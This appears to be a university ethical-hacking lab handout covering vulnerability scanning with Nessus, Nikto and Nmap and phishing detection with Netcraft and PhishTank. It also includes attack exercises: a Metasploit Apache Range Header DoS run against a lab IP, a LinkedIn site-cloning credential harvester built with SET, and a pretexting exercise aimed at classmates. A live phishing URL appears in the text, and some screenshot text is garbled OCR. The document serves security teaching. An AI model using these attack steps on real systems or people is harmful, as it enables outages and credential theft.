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Objectives

In continuation to our earlier lectures, this tutorial helps in providing you an
overview of tools used to gather information, perform footprinting and scanning
the network.

ETHICAL STATEMENT

The tools and techniques you are exposed to’ in this lab is to work only on a
virtual machine environment and the purpose is entirely to demonstrate various
types of cyber-attacks. Experimentation with these tools, techniques, and
resources is at the discretion of the instructor and institution. If you as a student
consider using attack tools for educational purposes on an outside
environment, you should contact me prior to any experimentation.

Note: Unauthorized access to data, computer, and network systems is a crime
in many jurisdictions and often is accompanied by severe consequences,
regardless of the perpetrator’s motivations. It is the learner’s responsibility, as
the user of this material, to be cognizant of and compliant with computer use
laws.

Use various tools to do a vulnerability scanning and analyse the vulnerabilities
within the network

Task 1: Use Nessus tool in Windows to scan for network vulnerabilities

Task 2: Use Nessus tool in Kali Linux to scan for network vulnerabilities

Task 3: Use Nikto in Kali Linux to scan Web vulnerabilities

Task 4: Use NMAP to scan vulnerabilities

Task 5: Use Metasploit to exploit the vulnerabilities

Task 6: Use SET to harvest credentials from social websites

Task 7: Use Netcraft Toolbar and PhishTank to detect phishing sites and
protect your network

ICONS Used in this document:

ﬂ Find out the outcome/ Answers/ Solution/ Discussion via Forum
[

[ )
o
L lins

= Do research and complete the task. Need referencing/ in-text citations.

Shall be included as a part of your coursework.
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Attacker
Machine

‘ Victim Machine

Victim Machine

Victim Machine

= Attacker Machines: Kali Linux, Parrot, Ubuntu (It’s your Choice)

= Victim Machines: Combination of Win 10, 11, Win Server 2019, 22, Linux
(CentOS, Debian), bee-box v1.6

= Web Servers: DVWA, Good Shopping etc
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You need Windows Server 2022, Server 2019, Windows 10, Ubuntu and Kali
Linux to complete this activity.

Task 1

Download Nessus.

. Install Nessus. Select appropriate options while installing. When it says your

connection is not private, select proceed to local host.

2. Set user credentials and log in to Nessus.

3. Register and activate using the activation code received in your email.
Checkpoint: After activation, it will download and instal plugins.

4. Login

5. Create a new Policy with Advanced Scan option.

6. Configure name of the policy and add a description (add your student id) under

basic settings.

Select Host Discovery under discovery option. Turn off — Ping the remote host

L% liss
Thmmmmm——— A

8. Customize the port scanning by verifying open TCP Ports. (Hint: under Local
port enumerators in Port scanning). Leave other options with default settings.

9. Under advanced settings,make maximum number of concurrent TCP sessions
per host and per scan unlimited.

_ &

10. Set credentials to the policy and save.
11.Create new scan. Select the policy you have created.
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12.Give a name for the scan with description and enter the target IP Address. (It
may be any machine as per your choice. However, to get listed more known
vulnerabilites under lab environment, it is recommended to scan Windows OS
without latest updates.
13.Launch the scan.
14. After completing the scan, analyse the results.
15. Click the vulnerabilities aand view all the vulnerabilites associated to the target.
16.Download and Export the report.
17.Use the report and classify action plan/ mitigation steps to overcome the
vulnerabilites.
a. To do that, categorize all the listed vulnerabilites based on its severity.
b. Select one of the vulnerability and propose a mitigation/ action plan.
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Task 2

Download Nessus.

Which link did you use to download the tool? Why?

What is the purpose of this tool? =

Open Kali Linux.

Download and Install Nessus latest version.

You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
Then go to https://kali:8834/ to configure your scanner

Create username and password

Update the plugins

Perform a vulnerability scan to the attack machine (Any machine in your VM
other than the one you did earlier)

NOoOOaRWN=

¢ @

Kali Linux Kali Training Kali Linux Kali Training

Welcome to Nessus Essentials

Otenable
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8. Click on the vulnerabilities and look at all the vulnerabilities listed for the target
machine. View the detailed report about all the listed vulnerabilities and create
a list based on High, Medium categories.

9. Based on your categorization, select the Top listed vulnerability, and propose
your mitigation steps/ strategies. Refer to websites/ databases which we have
covered during our lectures to list out the necessary mitigation steps, citations
etc.

10. Generate the Report

11.Use the report and classify action plan/ mitigation steps to overcome the
vulnerabilities.
a. To do that, categorize all the listed vulnerabilities based on its severity.
b. Select one of the vulnerabilities and propose a mitigation/ action plan.
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Task 3

Use Nikto Web Scanner to test Web Servers for vulnerable/ malicious files,
outdated server software’s etc

Install and assess from: Kali Linux

The web scanners will do a comprehensive test against web servers to look for
harmful files, CGls, Versions etc

1. Open Kali Linux.
Download and install Nikto in Kali Linux.
Which command did you issue to download Nikto? Why?

Q. 3 What is the purpose of this tool? Qﬂ

2. Observe the options of nikto

nikto -H

Whether to ask about submitting updates
yes  Ask about each (default)
no Don't ask, don't send
auto Don't just send
Scan these CGI d "none”, "all", or values like "/cgi/ /cgi-a/"
g Use this config file
-Display+ Turn on/off display outputs:
Show redirects
Show coockies received
Show all 286/0K responses
Show URLs which require authentication
Debug output
Display all HTTP errors
Print progress to STDOUT
Scrub output of IPs and hostnames
Verbose output
-dbcheck Check databa=e and other key files for syntax errors
-evasion+ Encoding technique:
1 Random URI encoding (non-UTF8)
‘ Directory self-reference (/./)
Premature URL ending
Prepend long random string
Fake parameter
TAB as request spacer
Change the case of the URL

3. Use tuning option to persue a deep scan on the target. In my case, the target
is itsecgames.com. You may try a different vulnerable website for Educational
purpose (like www.certifiedhacker.com). Donot try in production
environment or unauthorzied websites

= W T MmO R e

Ll

nikto -h http://www.itsecgames.com -Tuning x
- Nikto v2.1.6

4. What vulnerability did you observe?


http://www.certifiedhacker.com/
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ames.com -Tunir

mes . com

g X-Frame-Options header is not present.
header is not defined. This header n hin user agent to protect agains

. This could allow the user agent to render the content of the site in a
ies found

leak inodes
~ *link’

1t +1le found.
5 ted on rem

In this above screenshot, | have OSVDB — 3233 (Apache default file found).
Do a detailed research (with reference to our lectures) on the identified
vulnerability and propose mitigation actions. Document it.

Let us now check the CGI Directories. What vulnerability did you observe?

-Cgidirs all

mes.com

r X-Frame-Options header is not present.
tion header is not defined. This header n hint to the user agent to protect against some forms of X§

pe-Options h er is not set. This could allow the user agent to render the content of the site in a d
the MIME type
header found ulfh file

mmon header "link' found, wit i h 16 . 4 rel="shortlin

ol T = ST RS S Sy

+ Allowed HTTP Me

Use other commands to scrutinize the target network. List out the commands
you used, and the vulnerabilities identified.

D1. Discuss the reports acquired from Nessus and Nikto to provide your
thoughts and observation on your target’s security posture and exposure.
Submit in discussion in Moodle — Discussion Forum
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Task 4
Use NMAP to scan vulnerabilities
Install and assess from: Kali Linux
Target: All Victim Machines (Recommended) - bee-box v1.6

1. Open Kali Linux.

a. Check your IP Address
Do a nmap scan on the available target range
Do an nmap to list the available targets.
Do an nmap ARP discovery on the entire subnet
Do an nmap Host discovery — disable port scanning
Do an nmap Port Scan — disable Host discovery
Do a TCP Syn Port Scan
Do a TCP Connect Port Scan
Do a TCP ACK Port Scan
Do a TCP Window Port Scan
Do a UDP Port Scan
Do a complete port scan (65535)

~T T S@moao0o

Q.3 Analyse the outcomes from the above scans.
Q.4 What information did you gather from ARP Discovery?
Q.5 Try to identify the services running on the port!

m. Do a nmap scan to identify the version of the services running on port

n. Do a intense nmap scan to identify the version

o. Do a nmap scan to identify the version of the services running on port

p. Do a nmap scan to identify the OS, version and script scanning

g. Do a nmap scan to identify the OS, version and script scanning enabling
Nmap script scanning and specifying the output in a text file?

Q.6 Analyse the outcomes from the above scans.

D. 2 Discuss with your classmates/ Team to find out and try other nmap
scans that help you to get more information on the Operating System,
Services and other valuable information. List them in the discussion
forum and enable a strong argument.

Q. 7 Understand Nmap Scripting Engine.

Group Activity: Discuss with your classmates/ team about Nmap
Scripting Engine (NSE).

Address what NSE is?

How to effectively use Nmap as a lightweight vulnerability scanner?
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NSE Script Categories

Refer to https://nmap.org/book/nse.html

2. Have a look at the Nmap scripts
cd /usr/share/nmap/scripts
cat script.db
a. Look at the scripts and discuss about the available script categories
Eg: Entry { filename = "afp-path-vuln.nse", categories = { "exploit",

"intrusive", "vuln", } }

A What is this category?

. How does this script help you to test?
What script will help you to assess the vulnerability of the existing target
machines?

b. Based on the above scans try to deep dive and focus on exploring more
vulnerabilities on the target machine using nmap scripts on any specific
port. In my case, | will be using port 443 and category “vuln”
nmap -sV -p 443 --script "vuln" 192.168.137.132

Q. 8. What vulnerabilities did you find out?

c. Could you try other target machines and ports, categories to find more
vulnerabilities? Document them using a report. Discuss this in moodle
discussion forum.


https://nmap.org/book/nse.html
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Task 5

Use Metasploit to enumerate vulnerabilities

Install and assess from: Kali Linux

Target: bee-box v1.6

1. Open Kali Linux.

2. Enumerate the vulnerabilities.

From 1 and 2, based on the vulnerabilities discovered, try to search the
vulnerabilities and exploit them using appropriate tools of your own
choice.

Document the same and submit. Discuss your outcomes and
understanding in the discussion forum/ Moodle.

In my Example, | am using Metaspiloit.

a.

Vi.

i. msfconsole
ii. msfé > search CVE-2011-3192

Matching Modules

0 auxiliary/dos/http/apache_range_dos
2011-08-19 normal No
Apache Range Header DoS (Apache Killer)

Interact with a module by name or index. For example info 0, use 0
or use auxiliary/dos/http/apache_range_dos

msf6 > use auxiliary/dos/http/apache_range dos

msf6 auxiliary(dos/http/apache_range_dos) > set RHOSTS
192.168.137.132

RHOSTS => 192.168.137.132

msf6 auxiliary(dos/http/apache_range_dos) > set RPORT 443
RPORT => 443

msf6 auxiliary(dos/http/apache_range_dos) > run
[*] Sending DoS packet 1 to 192.168.137.132:443
[*] Sending DoS packet 50 to 192.168.137.132:443

[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed

msf6 auxiliary(dos/http/apache_range_dos) >
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You need Kali Linux, Windows Client to complete this activity.
Task 6
Use Social Engineering Toolkit to harvest credentials from social websites
Install and assess from: Kali Linux
Victim: Windows Machine

References: https://github.com/trustedsec/social-engineer-toolkit

Let’s get into a scenario:

You are receiving a link from your friend asking to look at his post in LinkedIn
or any social media websites. You click on the link, and it takes you to the official
login page. You enter your credentials and login. It loads and asks for the login
credentials again. No doubts for you, (maybe thinking of some internet/
application issue) and logging in again. It takes into your account. But you could
not see your friend’s post.

What will you do?

Maybe, (normal users) think that the link is not working. | the meantime, your
eyes caught another interesting post and started focusing on it.

What might have happened?

Your friend sets you a trap by sending the link. It is to harvest your credentials.
Because you did click the link, that was sent to you, your username and
password are now with your friend.

(No worries ahh!!! It's your friend. Your friend might not harm you)

What is the risk?

Your friend might me a victim of an attack. His account might have been
compromised by a Criminal (hacker) who sent you a link in the name of your
friend setting you a trap through the link.

(or)

You are the target for the attacker. He knows about your friends’ details.
Spoofs your friend’s id/ number and sends an email/text message to you.

The outcome is
“Now your username and password are with some criminal”
Imagine the next day morning. You wake up anddd.....

It is a nice story. But is it possible?

Yes
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How?

4.
5.

Team Activity:

Discuss with your Team/Classmates about Social Engineering Techniques
and Attacks. Share your thoughts and (any) experience on being a victim of
SE Attacks.

Do you think, it is important to have hands-on training to understand and
counter SE Attacks? Is yes, How?

Task 1:

Create a Phishing campaign trageting any other group.

Recognise the attempt on your group and report Phishing.

Briefly discuss and record the effectiveness of the phishing attack and
strategies for defense.

Example Task:

In Kali Linux, Open Social Engineering Toolkit.

Agree to the terms

visit: http

Select Social-Engineering Attacks - Website Attack Vectors
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Select Credential Harvester Attack Method - Site Cloner - Give your Attacker
machine IP Address as the POST back address. - Give the name of the site to
clone. (in my case it is LinkedIn)

Use any communication medium (Email/ Text/ Whatsapp etc) to embed the IP
Address with a catchy link name and send to your own email (in this case — for
demonstration purpose).

Login to your Windows Client machine (in Virtual Lab). Open your
communication medium (Email/ Text/ Whatsapp etc) and click the link.

(Note: The actions may vary depending on the communication medium you
selected.)

Linked

Go back to your Kali Linux and observe. Did you able to harvest the credentials?
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10.10.10.11 - - [13/Mar/2022 06:54:27] "POST /li/track HTTP/1.1" 302 -

Q. 9. What is your understanding about SE Toolkit?

Q. 10. What is Spear-Phishing Attack? What are their vectors?

Q. 11. What would you do to target a victim outside your network? By giving this
private IP address of the attacker, will you receive the harvested information if
your target is outside your local network?

Task 2: Pre-texting

6. Create a real-world scenario and perform pretexting attack. The attack must
target either the Lecturer of your Module or any of the classmates/ Team.
(Note: This activity should not be intended to create any damage/ loss, it
must be an awareness activity.).
Make sure your scenario has the following aspects

a.

"m0 ao0oT

g.

Research — Gather information before attack
Create a Pre-text

Manipulate trust

Sense of urgency/ Fear

Compliance

Physical Access

Accomplish the target

7. Execute the Pre-texting attack and record the outcomes. (Make sure you
properly document your plan before the attack)

D.3 Discuss and demonstrate various mitigation strategies. Explore emerging
techniques and best practices in SE Defense.

Task 3: Try Hackme: Complete Phishing Analysis Fundamentals,
ParrotPost: Phishing Analysis and Snapped Phish-ing Line Activities.

D.4 Discuss and document your experience and learning from the above 3
activities with strong arguments and mitigations. Your discussion must focus on
what are the Do’s and Don’t to prevent from attacks given in those scenarios.
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Task 7

Download Netcraft Toolbar.

Based on the activities in Task 6, you must be able to understand the seriousness of
phishing attacks. Breifly discuss with your team/ classmates on why phishing is
dangerous and the risks it pose to individuals and organisations.

1. Download and Install Netcraft Toolbar for your browser.

: Aol & chrome web store & s
toolbar netcraft x & Q Wome » Exansions > NterartExursion
Neteraft Extension
DA ofemmng @t e e e ook Ottered oy nttpE W DStETaf com

About 50,200 resuits (0.38 seconds) e 47 | Py | & 20000 o

hitps:/www.netcraft com > tools &
Tools | Netcraft

Use our tools to find out what infrastructure and technologies any site Is using, which sites are
the most popular, how reliable common hosting / OCSP.

Ritps /www.netcraft com > apps
Netcraft Protection Apps & Extensions | Netcraft

New phishing attacks y exposing you, your ana your
passwords to scams and fraud. The Netcraft apps provide protection that is

Browser Protection Extension - Mail Reporter - Mobile Protection App - Help

hitps:/www.netcraftcom & < >
Netcraft | Internet Research, Cybercrime Disruption and PCI ...
Been testing the Netcraft toolbar, and its amazingly good at blocking phishing. Theyre a threat
Intel provider, 50 his s a direct feed
Add "Netcraft Extension”? .
#~ chrome web store . £ sionin

It can:

Home > Extensions » Netcraft Extensi¢ Read and change all your data on all websites

Add extension Cancel ]
Netcraft Extensi

Offered by: https://www.netcraft.com

Y Y W W Yr 147 ‘ Productivity | 2 50,000+ users
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2. Open your browser and visit websites. Test the website based on the
information provided by the Netcraft Toolbar.

3. Try to visit any website that is identified as a phishing site. Did Netcraft Toolbar
react to that?
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4. Scenario: You receive the following message in your inbox:

TODAY

Hermes-UK: Sorry we missed you yesterday. To reschedule, please visit
https://hermes.check-reschedule-online.com S R

Now, based on the earlier lectures and recent activity, you must be aware of
phishing attacks and have idea about appropriate tools to identify the phishing
sites.

a. Copy the above link and paste in it the browser where you installed
Netcraft Toolbar. (Note: The links given here are to be used only in
lab environment. DO NOT use in your production environment. The
link is a real phishing link and not a simulated one)

b. What happened? Did Netcraft respond to this phishing site? Record your
outcome.

METCRAFT

c. Now, lets use another tool. Search Phish Tank in your browser

Which link did you use to download the tool? Why?

What is the purpose of this tool?

D.5. Use Netcraft tool to visit URL’s and identify phishing sites and legitimate
sites. Refer to our lectures/ activities and visit sites used during the sessions as
well as sites you are aware of. (maybe try links that you recevied as spam).
Discuss your findings as a group and share insights into how the toolbase can
be used effectively.

d. Click on the PhishTank website. Paste the above link in the below input
box and click “Is it a phish?” Button.
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o
PhIShTank: Out of the Net, into the Tank.

[EUSN Add A Phish  Verify A Phish  Phish Search  Stats FAQ Developers Mailing Lists My Account

Join the fight against phishing

Submit suspected phishes. Track the status of your submissions.
Verify other users' submissions. Develop software with our free AP

Found a phishing site? Get started now — see if it's in the Tank:

[httus://hermes.check—reschedule-cn\ine.coﬂ ] Is it a phish?|

e. What was the outcome?
PhIShTaﬂk’ Out of the Net, into the Tank.

Home AddAPhish  Verify APhish PhishSearch Stats FAQ Devalopers  Mailing Lists My Account

Submission #7328621 is currently offine
Submitted Oct 24th 2021 3:45 PM by memo512 (Current time: Mar 13th 2022 8:23 AM UTC)

https://hermes.check-reschedule-online.com

# Verified: Is a phish
s verified by kiss Romantic Netsafe emidanis

Is NOT a phish 0%

Screenshot of it View site in frame | View technical details | View site in new vindow [

Confirm postcode
For full tracking and parcel delivery
options, enter the postcode of your

original delivery address.

Please enter a postcode

f. You could also look at some of the suspected phishing websites. Use
those phishing links in your browser and check the outcomes from
netcraft. Document your findings and analysis.

,,,,,,

E.E{ Record your Reflection:

Understanding on all the activities

Understanding about various tools used

New/ Similar tools you identified and used

Compare and Contrast the tutorial tools with your identified tools

Any other Troubleshooting Steps, you need to share?

Rate yourself: How confident are you to do the vulnerability assessment and
Social Engineering activity ethically?

2 e

End of Activity 2------<------



